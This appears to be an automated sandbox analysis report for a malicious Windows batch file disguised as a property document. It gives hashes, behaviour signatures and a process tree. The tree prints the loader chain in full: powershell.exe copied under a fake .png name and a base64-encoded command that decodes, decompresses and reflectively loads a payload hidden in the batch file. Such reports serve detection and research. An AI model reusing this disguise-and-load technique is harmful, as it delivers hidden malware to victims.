Analysis

  • max time kernel
    121s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20231020-es
  • resource tags

    arch:x64arch:x86image:win7-20231020-eslocale:es-esos:windows7-x64systemwindows
  • submitted
    24/10/2023, 15:16

General

  • Target

    CH + CE Carrer Roger de Llúria 57 1º STC.bat

  • Size

    1013KB

  • MD5

    577d91ac79d42f13bf6a6f7ddaaccf77

  • SHA1

    a07600ab0ea95822cef3efc326882bc30f37ed47

  • SHA256

    2e4cf0227542c63bd59a24213141e8762b85d797ace44e2cc0d1180397715655

  • SHA512

    f6f75f5a2f0ad32cfe1c6836f0ebe16a051a30e7e08f33e17aea9fd8503821cd0ad49f2300a8fc613c55e1941eb0ea6d9cccd70dd7c1a7afa1991d0ff28a71bc

  • SSDEEP

    24576:Bv+PdWmpfZ/GxTqIH8To/uT/Y/KOked8LNUh0yB/SULo:F+Pzc8PbJW6UfZLo

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\CH + CE Carrer Roger de Llúria 57 1º STC.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2244
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:2520
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Nryhergy.png
        2⤵
          PID:2536
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\CH + CE Carrer Roger de Llúria 57 1º STC.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1280
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo F "
            3⤵
              PID:2836
            • C:\Windows\system32\xcopy.exe
              xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Nryhergy.png
              3⤵
                PID:2308
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo F "
                3⤵
                  PID:2684
                • C:\Windows\system32\xcopy.exe
                  xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\CH + CE Carrer Roger de Llúria 57 1º STC.bat" C:\Users\Admin\AppData\Local\Temp\Nryhergy.png.bat
                  3⤵
                    PID:2408
                  • C:\Users\Admin\AppData\Local\Temp\Nryhergy.png
                    C:\Users\Admin\AppData\Local\Temp\Nryhergy.png -win 1 -enc JABTAGwAcQB1AHcAbABkAGUAagBhACAAPQAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEwAaQBuAGUAcwAoACgAKABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAC4AYgBhAHQAIgApACwAIABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAGwAYQBzAHQAIAAxADsAIAAkAFEAZABjAG4AYQBoAHQAbABjAGsAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAUwBsAHEAdQB3AGwAZABlAGoAYQApADsAJABVAHoAZgB6AGUAcgB6AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAFEAZABjAG4AYQBoAHQAbABjAGsAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQATwBnAGEAZQBmAGwAZgBuAHUAbQBiACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFUAegBmAHoAZQByAHoAYwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQATwBnAGEAZQBmAGwAZgBuAHUAbQBiAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABPAGcAYQBlAGYAbABmAG4AdQBtAGIALgBDAGwAbwBzAGUAKAApADsAJABVAHoAZgB6AGUAcgB6AGMALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABRAGQAYwBuAGEAaAB0AGwAYwBrACAAPQAgACQAbwB1AHQAcAB1AHQALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFEAZABjAG4AYQBoAHQAbABjAGsAKQA7ACAAJABMAGcAcQBoAGEAdQBwAHQAcwB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAFEAZABjAG4AYQBoAHQAbABjAGsAKQA7ACAAJABFAHQAZwBlAHoAbQBhAHYAdQBrAGkAIAA9ACAAJABMAGcAcQBoAGEAdQBwAHQAcwB0AC4ARwBlAHQARQB4AHAAbwByAHQAZQBkAFQAeQBwAGUAcwAoACkAWwAwAF0AOwAgACQASQByAHEAYQByAHQAeQBkAHgAcABwACAAPQAgACQARQB0AGcAZQB6AG0AYQB2AHUAawBpAC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
                    3⤵
                    • Executes dropped EXE
                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2736

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\Nryhergy.png

                Filesize

                442KB

                MD5

                92f44e405db16ac55d97e3bfe3b132fa

                SHA1

                04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

                SHA256

                6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

                SHA512

                f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

              • C:\Users\Admin\AppData\Local\Temp\Nryhergy.png

                Filesize

                442KB

                MD5

                92f44e405db16ac55d97e3bfe3b132fa

                SHA1

                04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

                SHA256

                6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

                SHA512

                f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

              • memory/2736-8-0x0000000073D50000-0x00000000742FB000-memory.dmp

                Filesize

                5.7MB

              • memory/2736-10-0x00000000025D0000-0x0000000002610000-memory.dmp

                Filesize

                256KB

              • memory/2736-9-0x0000000073D50000-0x00000000742FB000-memory.dmp

                Filesize

                5.7MB

              • memory/2736-11-0x00000000025D0000-0x0000000002610000-memory.dmp

                Filesize

                256KB

              • memory/2736-12-0x0000000073D50000-0x00000000742FB000-memory.dmp

                Filesize

                5.7MB